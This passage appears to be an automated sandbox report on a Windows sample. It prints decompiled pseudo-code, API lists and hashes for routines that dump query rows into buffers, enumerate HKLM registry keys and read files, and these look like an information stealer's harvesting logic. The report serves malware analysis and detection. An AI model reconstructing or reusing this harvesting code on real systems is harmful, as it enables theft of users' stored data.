				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0x618de8
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0x617648
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Strings

Hva, xrefs: 004095C8

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID: Hva
API String ID: 2177231248-3256388308
Opcode ID: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00586380, Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 150stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005863BC
lstrcpy.KERNEL32(?,00000000), ref: 0058640C
lstrcpy.KERNEL32(?,00000000), ref: 0058643A
lstrcpy.KERNEL32(?,00000000), ref: 00586468
lstrcpy.KERNEL32(?,00000000), ref: 00586496

Strings

`ha, xrefs: 0058644B, 00586450
8ia, xrefs: 005863F2, 005863F7
xha, xrefs: 00586479, 0058647E

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: 8ia$`ha$xha
API String ID: 553454533-3415794571
Opcode ID: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction ID: e34fe67cba6ab9b5b79fe96c3f661e039395408ca6000505fcc9e708fb91eeb2
Opcode Fuzzy Hash: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction Fuzzy Hash: 4D51A6B6D00108BBD715EF90EC8AFDB7778BB8C704F044598F609A2152EA74DA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x6167d0
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x616938
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x616818
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x616860
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x616878
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

xha, xrefs: 00406229
`ha, xrefs: 004061FB
8ia, xrefs: 004061A2

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: 8ia$`ha$xha
API String ID: 553454533-3415794571
Opcode ID: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00589650, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0058967F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005896D5
RtlAllocateHeap.NTDLL(00000000), ref: 005896DC
lstrcat.KERNEL32(?,?), ref: 0058973F
lstrcat.KERNEL32(?,004191EC), ref: 00589751
lstrcat.KERNEL32(?,?), ref: 00589765
lstrcat.KERNEL32(?,00418BC4), ref: 00589777
lstrlen.KERNEL32(?), ref: 00589789

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction ID: 1d8e69c8a4a6cc0c408dc6adf738eaa18df5ebae8e1ca1862bef50a82664ab7a
Opcode Fuzzy Hash: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction Fuzzy Hash: 954194B1900108ABCB14EFA4DD4AFEA77B8BF48701F008594F709E7151D6759EA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x618c08
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x612918
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043CC04, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 0043D41B
_write_string.LIBCMTD ref: 0043D436
_write_multi_char.LIBCMTD ref: 0043D462
__mbtowc_l.LIBCMTD ref: 0043D4D1

Strings

xD@, xrefs: 0043CC2B

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_write_string
String ID: xD@
API String ID: 153657362-1198140267
Opcode ID: 249ea9c8f2937d28fe37466cb5adc78b200cd23738bba106097d4660bcb84d80
Instruction ID: 4bc3abbf32495372af596d8078e8d919c379d98c1d113798f336a36c3ea03af5
Opcode Fuzzy Hash: 249ea9c8f2937d28fe37466cb5adc78b200cd23738bba106097d4660bcb84d80
Instruction Fuzzy Hash: 15A16FF1D002199BDB24DF54CC85BEEB3B5AB48305F14919AE6097B282D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x61aec0
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x6197b0
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x619870
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,006197B0,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,00619870,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0058B2E0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B2F4
RtlAllocateHeap.NTDLL(00000000), ref: 0058B2FB
RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[X), ref: 0058B31B
RegQueryValueExA.ADVAPI32(X[X,0041A4DC,00000000,00000000,?,000000FF), ref: 0058B33C
RegCloseKey.ADVAPI32(X[X), ref: 0058B346

Strings

X[X, xrefs: 0058B304, 0058B342, 0058B338, 0058B307, 0058B33B, 0058B345

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X[X
API String ID: 3225020163-2702310211
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: c922c43d119750abf5323336deab603d7b066df6debb10701f50051fe00b0f65
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 40014FB5A41208BFE700DFE0DD49FEEB7BCEB48700F008568FA05A7291DA745A50CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0043CDDA, Relevance: 9.2, APIs: 6, Instructions: 238COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0043CDEC
_write_multi_char.LIBCMTD ref: 0043D41B
_write_string.LIBCMTD ref: 0043D436
_write_multi_char.LIBCMTD ref: 0043D462
__mbtowc_l.LIBCMTD ref: 0043D4D1

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output__mbtowc_l_write_string
String ID:
API String ID: 2136839635-0
Opcode ID: bf42d1b69b1ea14027d81cd37acfc4334fdf67cab3cca5d135293dc248d05faa
Instruction ID: 0b414c58bc724e794d43b919d7594c1682da96b4d501cb2f3a16ce1bcd993e5c
Opcode Fuzzy Hash: bf42d1b69b1ea14027d81cd37acfc4334fdf67cab3cca5d135293dc248d05faa
Instruction Fuzzy Hash: A9A192F1D002299BDF24DF55DC82BAEB3B4AB48304F14509AE6197B282D7389E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00588760, Relevance: 9.1, APIs: 6, Instructions: 92memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0058878F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005887DF
RtlAllocateHeap.NTDLL(00000000), ref: 005887E6
lstrcat.KERNEL32(?,?), ref: 0058882D
lstrcat.KERNEL32(?,00418BC4), ref: 0058883F
lstrlen.KERNEL32(?), ref: 0058884E

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction ID: 6947711a70f8131fccc79887227fd0d8b35b2c44e53b49611a045f206bc84da0
Opcode Fuzzy Hash: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction Fuzzy Hash: 653147B190010CABCB14EFA4DD4AEEA7778BF48701F0085A4F719D7151DA35DA61CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x618de8
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x618ea8
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 005875D0, Relevance: 9.1, APIs: 6, Instructions: 77filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00587900,00000000,?), ref: 005875F7
GetFileSizeEx.KERNEL32(000000FF,00587900,?,00587900,00000000,?), ref: 0058761C
LocalAlloc.KERNEL32(00000040,?,?,00587900), ref: 0058763C
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00587900), ref: 00587665
LocalFree.KERNEL32(?), ref: 0058769B
CloseHandle.KERNEL32(000000FF,?,00587900,00000000,?), ref: 005876A5

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: f59d6647c68f6f3534fe21ee030d68e042a06e3c37ee5840262dd5d4a191c13c
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 73312AB4A04608EFDB14DF99C884BAEBBB5FF48300F208158ED14AB290D774EA91CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

